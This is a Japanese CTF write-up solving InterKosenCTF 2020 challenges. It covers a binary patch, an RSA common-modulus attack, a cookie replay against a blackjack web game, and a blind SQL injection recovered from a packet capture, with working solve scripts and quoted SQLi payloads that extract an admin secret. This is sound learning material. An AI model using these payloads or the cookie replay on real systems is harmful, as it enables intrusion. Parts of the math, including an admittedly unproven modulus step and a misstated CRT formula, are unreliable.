| _secret | 0x3f5500000000 | 0x3fcc00000000 | 0x3fee00000000 |
mmapのアドレスが被っていますね。Resource conflictsと言ってるしこのせいでしょう。
被らないようにmmapするアドレスを書き替えます。_flagのアドレスを0x4f...にしてみましょう。
[0x00000800]> pd 1 @ 0x00000a48
0x00000a48 48bf00000000. movabs rdi, 0x3fee00000000 ; 70291434766336
[0x00000800]> "wa mov rdi, 0x4fee00000000" @ 0x00000a48
Written 10 byte(s) (mov rdi, 0x4fee00000000) = wx 48bf00000000ee4f0000
[0x00000800]> pd 1 @ 0x00000a48
0x00000a48 48bf00000000. movabs rdi, 0x4fee00000000 ; 87883620810752
同じようにslave, emperorも0x4f...になるように書き替えて、実行してみます。
$ LD_LIBRARY_PATH=./ ./a.out
The flag is KosenCTF{emperor_wins_with_a_probability_of_four-fifths}
フラグが取得できました。
ciphertexts [warmup crypto, 33solves]
main.pyとoutput.txtが渡されます。
from Crypto.Util.number import * import gmpy2 from flag import flag p = getPrime(512) q = getPrime(512) r = getPrime(512) n1 = p * q n2 = p * q * r e1 = getPrime(20) e2 = int(gmpy2.next_prime(e1)) m = bytes_to_long(flag) c1 = pow(m, e1, n1) c2 = pow(m, e2, n2) print("n1 = {}".format(n1)) print("n2 = {}".format(n2)) print("e1 = {}".format(e1)) print("e2 = {}".format(e2)) print() print("c1 = {}".format(c1)) print("c2 = {}".format(c2))
n1 = 112027309284322736696115076630869358886830492611271994068413296220031576824816689091198353617581184917157891542298780983841631012944437383240190256425846911754031739579394796766027697768621362079507428010157604918397365947923851153697186775709920404789709337797321337456802732146832010787682176518192133746223 n2 = 1473529742325407185540416487537612465189869383161838138383863033575293817135218553055973325857269118219041602971813973919025686562460789946104526983373925508272707933534592189732683735440805478222783605568274241084963090744480360993656587771778757461612919160894779254758334452854066521288673310419198851991819627662981573667076225459404009857983025927477176966111790347594575351184875653395185719233949213450894170078845932168528522589013379762955294754168074749 e1 = 745699 e2 = 745709 c1 = 23144512980313393199971544624329972186721085732480740903664101556117858633662296801717263237129746648060819811930636439097159566583505473503864453388951643914137969553861677535238877960113785606971825385842502989341317320369632728661117044930921328060672528860828028757389655254527181940980759142590884230818 c2 = 546013011162734662559915184213713993843903501723233626580722400821009012692777901667117697074744918447814864397339744069644165515483680946835825703647523401795417620543127115324648561766122111899196061720746026651004752859257192521244112089034703744265008136670806656381726132870556901919053331051306216646512080226785745719900361548565919274291246327457874683359783654084480603820243148644175296922326518199664119806889995281514238365234514624096689374009704546
\begin{eqnarray} n_1 &=& pq \\ n_2 &=& pqr \\ c_1 &\equiv& m^{e_1} \mod n_1 \\ c_2 &\equiv& m^{e_2} \mod n_2 \ \\ \end{eqnarray}
という数式でc1,c2が作られています。与えられた結果からmを復元することを目指します。
まず前提として、
\begin{eqnarray} c &\equiv& m^{e} \mod n \\ \end{eqnarray}
という形はRSA暗号のものです。Cryptoでは頻出ですね。
脆弱な条件の下でmを求める方法はいくつか知られていて、このスライドがとても詳しいです。
www.slideshare.net
「その8」で紹介されている、「同一の平文で異なるeで暗号化した暗号文を与えてはいけない」というのが使えそうです。
紹介されているCommon Modulus Attackという攻撃を調べ、この記事を参考にしました。
これによると
\begin{eqnarray} c_1 &\equiv& m^{e_1} \mod n \\ c_2 &\equiv& m^{e_2} \mod n \ \\ \end{eqnarray}
の式があるときmを復元できるようです。同じような形ですね。
しかし今回はmodのnが二つの式で違うのでそのままでは解けません。
\begin{eqnarray} r &=& \frac{n_2}{n_1} \\ \end{eqnarray}
これは自明ですね。modを外す方法ですが、調べてもよくわからなかったので勘で解きます。
\begin{eqnarray} c_1 &=& m^{e_1} &\mod& pq \\ c_1 \mod r&=& m^{e_2} &\mod& pqr \\ c_1'&=& c_1 &\mod& r \\ c_1'&=& m^{e_2} &\mod& n_2 \\ \end{eqnarray}
これは成立する気がしてきませんか？私はします。
まぁ真面目に考えると反例があります。
\begin{eqnarray} xy &=& n \mod p \\ xy \mod y &\neq& n \mod py \ \\ \end{eqnarray}
しかし、xyと新たにmodする数が互いに素なら成り立つんじゃないかな～と思いました（未証明）
rは素数なのでc1と互いに素なので恐らく成立します。これでmodをn2に揃えることができました。
あとは拡張ユークリッドの互除法のプログラムをネットから持ってきて、記事の通りのコードを書いていきます。
from math import gcd import binascii # p * q n1 = 112027309284322736696115076630869358886830492611271994068413296220031576824816689091198353617581184917157891542298780983841631012944437383240190256425846911754031739579394796766027697768621362079507428010157604918397365947923851153697186775709920404789709337797321337456802732146832010787682176518192133746223 # p * q * r n2 = 1473529742325407185540416487537612465189869383161838138383863033575293817135218553055973325857269118219041602971813973919025686562460789946104526983373925508272707933534592189732683735440805478222783605568274241084963090744480360993656587771778757461612919160894779254758334452854066521288673310419198851991819627662981573667076225459404009857983025927477176966111790347594575351184875653395185719233949213450894170078845932168528522589013379762955294754168074749 e1 = 745699 e2 = 745709 c1 = 23144512980313393199971544624329972186721085732480740903664101556117858633662296801717263237129746648060819811930636439097159566583505473503864453388951643914137969553861677535238877960113785606971825385842502989341317320369632728661117044930921328060672528860828028757389655254527181940980759142590884230818 c2 = 546013011162734662559915184213713993843903501723233626580722400821009012692777901667117697074744918447814864397339744069644165515483680946835825703647523401795417620543127115324648561766122111899196061720746026651004752859257192521244112089034703744265008136670806656381726132870556901919053331051306216646512080226785745719900361548565919274291246327457874683359783654084480603820243148644175296922326518199664119806889995281514238365234514624096689374009704546 r = n2 // n1 assert gcd(r, c1) == 1 c1 %= n1 def ex_euclid(x, y): c0, c1 = x, y a0, a1 = 1, 0 b0, b1 = 0, 1 while c1 != 0: m = c0 % c1 q = c0 // c1 c0, c1 = c1, m a0, a1 = a1, (a0 - q * a1) b0, b1 = b1, (b0 - q * b1) return c0, a0, b0 _, a, b = ex_euclid(e1, e2) m = pow(c1, a, n1) * pow(c2, b, n1) % n1 print(binascii.unhexlify(hex(m)[2:]))
$ python3 solve.py
b'KosenCTF{HALDYN_D0M3}'
フラグを取得できました。未証明AC、最高！
matsushima2 [warmup web, 46solves]
URLとサーバーのプログラムが渡されます。開いてみると、ブラックジャックのゲームのようです。
勝つごとに倍々にchipsが増え続けていき、999999を越えたらフラグを取得できます。
さて、サーバーのプログラムを読んでいくとわかることがあります。
response = make_response(jsonify({
'player': state['player'],
'dealer': state['dealer'],
'chip': state['chip'],
'player_score': state['player_score'],
'dealer_score': state['dealer_score'],
}))
response.set_cookie('matsushima', jwt.encode(state, key, algorithm='HS256'), httponly=True, samesite='strict')
- セッションで管理をしていない
ここから思いつくのが、
「Cookieを保存しておいて、負けた後Cookieを再度セットすれば過去の状態に戻れるんじゃないか？」
ということです。実際にそれが成り立ちます。
スクリプトを書いてもいいですが、倍々で増えてくならそこまで手間はかからないかなと思いChromeのdevtoolを使って手作業でやりました。
手作業でやってるときかなり連勝したので、下手したら運で解ける人いるんじゃ...?と思いました。
limited [web+forensics, 40solves]
pcapファイルが渡されます。Wiresharkで開きhttpでフィルターをかけると、どうやらBlind SQL Injectionをしている様子のキャプチャのようであることがわかります。
「ファイル => オブジェクトをエクスポート => HTTP」でHTTPで通信したファイルを全て保存できます。
SQL Injectionに使ったであろうクエリを復号して一覧表示してみると、このようになります。
search.php?keyword=&search_max=(SELECT unicode(substr(secret, 1, 1)) FROM account WHERE name="admin") % 19 search.php?keyword=&search_max=(SELECT unicode(substr(secret, 1, 1)) FROM account WHERE name="admin") % 13 search.php?keyword=&search_max=(SELECT unicode(substr(secret, 1, 1)) FROM account WHERE name="admin") % 11 search.php?keyword=&search_max=(SELECT unicode(substr(secret, 2, 1)) FROM account WHERE name="admin") % 11 ...
search_maxは恐らくLIMITの値でしょう。LIMITをベースにSQLiをしているようです。
受信したHTMLはこのようになっています。
<!DOCTYPE html> <html> <head> <meta charset="UTF-8"> <title>Search result for ""</title> <link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.3.1/css/bootstrap.min.css" integrity="sha384-ggOyR0iXCbMQv3Xipma34MD+dH/1fQ784/j6cY/iJTQUOhcWr7x9JvoRxT2MZw1T" crossorigin="anonymous"> <script src="https://code.jquery.com/jquery-3.3.1.slim.min.js" integrity="sha384-q8i/X+965DzO0rT7abK41JStQIAqVgRVzpbzo5smXKp4YfRvH+8abtTE1Pi6jizo" crossorigin="anonymous"></script> <script src="https://cdnjs.cloudflare.com/ajax/libs/popper.js/1.14.7/umd/popper.min.js" integrity="sha384-UO2eT0CpHqdSJQ6hJty5KVphtPhzWj9WO1clHTMGa3JDZwrnQq4sF86dIHNDz0W1" crossorigin="anonymous"></script> <script src="https://stackpath.bootstrapcdn.com/bootstrap/4.3.1/js/bootstrap.min.js" integrity="sha384-JjSmVgyd0p3pXB1rRibZUAYoIIy6OrQ6VrjIEaFf/nJGzIxFDsf4x0xIM+B07jRM" crossorigin="anonymous"></script> </head> <body> <nav class="navbar navbar-expand-lg navbar-light bg-light"> <a class="navbar-brand" href="/">KosenLab</a> <button class="navbar-toggler" type="button" data-toggle="collapse" data-target="#navbarSupportedContent" aria-controls="navbarSupportedContent" aria-expanded="false" aria-label="Toggle navigation"> <span class="navbar-toggler-icon"></span> </button> <div class="collapse navbar-collapse" id="navbarSupportedContent"> <ul class="navbar-nav mr-auto"> <li class="nav-item active"> <a class="nav-link" href="/">Home <span class="sr-only">(current)</span></a> </li> <li class="nav-item"> <a class="nav-link" href="/members">Members</a> </li> <li class="nav-item dropdown"> <a class="nav-link dropdown-toggle" href="#" id="navbarDropdown" role="button" data-toggle="dropdown" aria-haspopup="true" aria-expanded="false"> CTFs </a> <div class="dropdown-menu" aria-labelledby="navbarDropdown"> <a class="dropdown-item" href="#">InterKosenCTF 1st Edition</a> <a class="dropdown-item" href="#">InterKosenCTF 2019</a> <div class="dropdown-divider"></div> <a class="dropdown-item" href="#">InterKosenCTF 2020 (now running!)</a> </div> </li> </ul> <form class="form-inline my-2 my-lg-0" action="/search.php" method="GET"> <input class="form-control mr-sm-2" type="search" placeholder="Search" aria-label="Search" name="keyword"> <button class="btn btn-outline-success my-2 my-sm-0" type="submit">Search</button> </form> </div> </nav> <div class="container"> <h1>Search result for ""</h1> <table class="table table-striped"> <thead> <tr> <th scope="col">#</th> <th scope="col">Title</th> <th scope="col">Link</th> </tr> </thead> <tbody> <tr> <th scope="row">1</th> <td>zer0pts gets 3rd place in PoseidonCTF 1st Edition</td> <td><a href="article.php?id=1">Read this article</a></td> </tr> <tr> <th scope="row">2</th> <td>zer0pts gets 5th place in UIUCTF 2020</td> <td><a href="article.php?id=2">Read this article</a></td> </tr> <tr> <th scope="row">3</th> <td>zer0pts gets 4th place in Defenit CTF 2020</td> <td><a href="article.php?id=3">Read this article</a></td> </tr> <tr> <th scope="row">4</th> <td>zer0pts gets 1st place in Hexion CTF 2020</td> <td><a href="article.php?id=4">Read this article</a></td> </tr> <tr> <th scope="row">5</th> <td>zer0pts gets 3rd place in IJCTF 2020 Final</td> <td><a href="article.php?id=5">Read this article</a></td> </tr> <tr> <th scope="row">6</th> <td>zer0pts gets 3rd place in FireShell CTF 2020</td> <td><a href="article.php?id=6">Read this article</a></td> </tr> <tr> <th scope="row">7</th> <td>zer0pts gets 6th place in b01lers CTF 2020</td> <td><a href="article.php?id=7">Read this article</a></td> </tr> <tr> <th scope="row">8</th> <td>zer0pts gets 6th place in Pwn2Win CTF 2020</td> <td><a href="article.php?id=8">Read this article</a></td> </tr> <tr> <th scope="row">9</th> <td>zer0pts gets 6th place in HackTM CTF Quals 2020</td> <td><a href="article.php?id=9">Read this article</a></td> </tr> <tr> <th scope="row">10</th> <td>How Yoshiking Became The Most Professional Among Professionals</td> <td><a href="article.php?id=10">Read this article</a></td> </tr> <tr> <th scope="row">11</th> <td>insecure held the first online CTF named InterKosenCTF on January 18th, 2019</td> <td><a href="article.php?id=11">Read this article</a></td> </tr> <tr> <th scope="row">12</th> <td>insecure held the second online CTF named InterKosenCTF 2019 on August 11th, 2019</td> <td><a href="article.php?id=12">Read this article</a></td> </tr> <tr> <th scope="row">13</th> <td>zer0pts held the first online/global CTF named zer0pts CTF 2020!</td> <td><a href="article.php?id=13">Read this article</a></td> </tr> <tr> <th scope="row">14</th> <td>insecure is holding the third InterKosenCTF event now!</td> <td><a href="article.php?id=14">Read this article</a></td> </tr> <tr> <th scope="row">15</th> <td>zer0pts is planning to host the upcoming zer0pts CTF event next year!</td> <td><a href="article.php?id=15">Read this article</a></td> </tr> <tr> <th scope="row">16</th> <td>DefenitelyZer0 gets 2nd place in ASIS CTF Quals 2020</td> <td><a href="article.php?id=16">Read this article</a></td> </tr> <tr> <th scope="row">17</th> <td>DefenitelyZer0 gets 2nd place in TSG CTF 2020</td> <td><a href="article.php?id=17">Read this article</a></td> </tr> <tr> <th scope="row">18</th> <td>DefenitelyZer0 gets 2nd place in CyBRICS CTF 2020</td> <td><a href="article.php?id=18">Read this article</a></td> </tr> </tbody> </table> </div> </body> </html>
(読みやすいようにインデントを調整しています)
この<th scope="row">の数がsearch_maxの値だと推測できます。これを数えるにはPyQueryやBeautifulSoupなどのHTMLパーサーを使うといいでしょう。
さて、中国剰余定理を知っていますか？私は知っています。
中国剰余定理とは、
\begin{eqnarray} x &\equiv& a \mod n \\ x &\equiv& b \mod n \ \\ \end{eqnarray}
上式の式で、a, b, nを使ってxを求めることができるという定理です。知っていたなら後は調べて使うだけです。
import glob import os import urllib.parse import re from bs4 import BeautifulSoup from pprint import pprint from math import gcd from collections import OrderedDict paths = glob.glob("http/search.php%3fkeyword=&search_max=%28SELECT+unicode*") results = {} for path in paths: url = urllib.parse.unquote(os.path.basename(path)).replace("+", " ") with open(path, "r") as f: content = f.read() soup = BeautifulSoup(content, 'html.parser') count = len(soup.find_all("th", {"scope": "row"})) index = int(re.search(r"secret, (\d+)", url).groups()[0]) mod = int(re.search(r"% (\d+)", url).groups()[0]) if index not in results: results[index] = [] results[index].append({"url": url, "count": count, "mod": mod}) for key in results: results[key].sort(key=lambda x:int(re.search(r"% (\d+)", x["url"]).groups()[0]), reverse=True) pprint(results) def extgcd(x, y): c0, c1 = x, y a0, a1 = 1, 0 b0, b1 = 0, 1 while c1 != 0: m = c0 % c1 q = c0 // c1 c0, c1 = c1, m a0, a1 = a1, (a0 - q * a1) b0, b1 = b1, (b0 - q * b1) return c0, a0, b0 def crt(eq0, eq1): a0, m0 = eq0 a1, m1 = eq1 g = gcd(m0, m1) if a0 % g != a1 % g: raise Exception("x doesn't exist.") if g > 1: m0 /= g m1 /= g while True: gt = gcd(m0, g) if gt == 1: break m0 *= gt g /= gt m1 *= g a0 %= m0 a1 %= m1 g, p, q = extgcd(m0, m1) x = a0 * q * m1 + a1 * p * m0 mod = m0 * m1 x = x % mod return [x, mod] flag = [""]*100 for key in results: req1, req2 = results[key][:2] x, mod = crt((req1["count"], req1["mod"]), (req2["count"], req2["mod"])) for req in results[key][3:]: x, mod = crt((x, mod), (req["count"], req["mod"])) flag[key] = chr(x) print("".join(flag))
$ python3 solve.py
K"seCF{u_c4n_us3_CRT_f0r_LIMIT_1nj3ct10n_p01nt}
フラグを取得することができました。
最初が失敗していますが、KosenCTF{で始まるとわかっているので問題ありません（正確にやれ）
総括
こういう日本の初心者CTFに参加する機会はめったにないので、開催・運営してくれた方々に感謝します。
CTFのWriteupを初めて書いてみましたが、復習の手段としてもとてもよいですね。
miniblogやtip toeなど取り組んで解けなかった問題はあるんですが、解けそうかな～と思った問題は全て解けたので満足です。
